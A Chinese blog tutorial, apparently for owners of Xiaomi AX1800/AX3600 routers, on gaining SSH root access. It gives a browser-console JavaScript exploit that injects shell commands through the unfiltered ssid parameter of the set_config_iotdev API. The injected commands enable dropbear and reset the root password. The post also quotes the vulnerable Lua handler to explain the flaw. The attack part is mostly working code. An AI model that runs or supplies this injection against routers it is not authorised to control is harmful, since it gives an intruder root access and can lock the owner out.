小米AX1800开SSH权限

开启SSH

  1. 登录小米路由器后台,注意自己后台的IP地址,一般是192.168.31.1:

在这里插入图片描述

  1. 注意链接上stok:

  1. 按F12,选择Console:
    在这里插入图片描述

  2. 输入以下代码回车:

function getSTOK() {
    let match = location.href.match(/;stok=(.*?)\//);
    if (!match) {
        return null;
    }
    return match[1];
}

function execute(stok, command) {
    command = encodeURIComponent(command);
    let path = `/cgi-bin/luci/;stok=${stok}/api/misystem/set_config_iotdev?bssid=SteelyWing&user_id=SteelyWing&ssid=-h%0A${command}%0A`;
    console.log(path);
    return fetch(new Request(location.origin + path));
}

function enableSSH() {
    stok = getSTOK();
    if (!stok) {
        console.error('stok not found in URL');
        return;
    }
    console.log(`stok = "${stok}"`);

    password = prompt('Input new SSH password');
    if (!password) {
        console.error('You must input password');
        return;
    }

    execute(stok, 
`
nvram set ssh_en=1
nvram commit
sed -i 's/channel=.*/channel=\\"debug\\"/g' /etc/init.d/dropbear
/etc/init.d/dropbear start
`
    )
        .then((response) => response.text())
        .then((text) => console.log(text));
    console.log('New SSH password: ' + password);
    execute(stok, `echo -e "${password}\\n${password}" | passwd root`)
        .then((response) => response.text())
        .then((text) => console.log(text));
}

enableSSH();
  1. 设置ssh登录密码:
    在这里插入图片描述
  2. 未报错即成功注入开启ssh权限了。登录ssh验证:(注意自己路由器后台IP)
    在这里插入图片描述
  3. 跳出fingerprint 输入yes即可。成功登录:
    在这里插入图片描述

分析可注入原因:

api/misystem/set_config_iotdev调用的函数如下:

function setConfigIotDev()
    local XQFunction = require("xiaoqiang.common.XQFunction")
    local LuciUtil = require("luci.util")
    local result = {
        ["code"] = 0
    }
    local ssid = LuciHttp.formvalue("ssid")----参数直接代入,未过滤
    local bssid = LuciHttp.formvalue("bssid")----参数直接代入,未过滤
    local uid = LuciHttp.formvalue("user_id")----参数直接代入,未过滤
    XQLog.log(debug_level, "ssid = "..ssid)
    XQLog.log(debug_level, "bssid = "..bssid)
    XQLog.log(debug_level, "uid = "..uid)
    if XQFunction.isStrNil(ssid)
        or XQFunction.isStrNil(bssid)
        or XQFunction.isStrNil(uid) then
        result.code = 1523
    end
    if result.code ~= 0 then
        result["msg"] = XQErrorUtil.getErrorMessage(result.code)
    else
        XQFunction.forkExec("connect -s "..ssid.." -b "..bssid.. " -u "..uid)----参数直接代入,未过滤
    end
    LuciHttp.write_json(result)
end

参数未过滤
所以可以在网址上提交注入开启ssh权限:具体参考上面开启SSH第4步中代码。
这样的方法目前适合ax1800及ax3600某些版本。

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值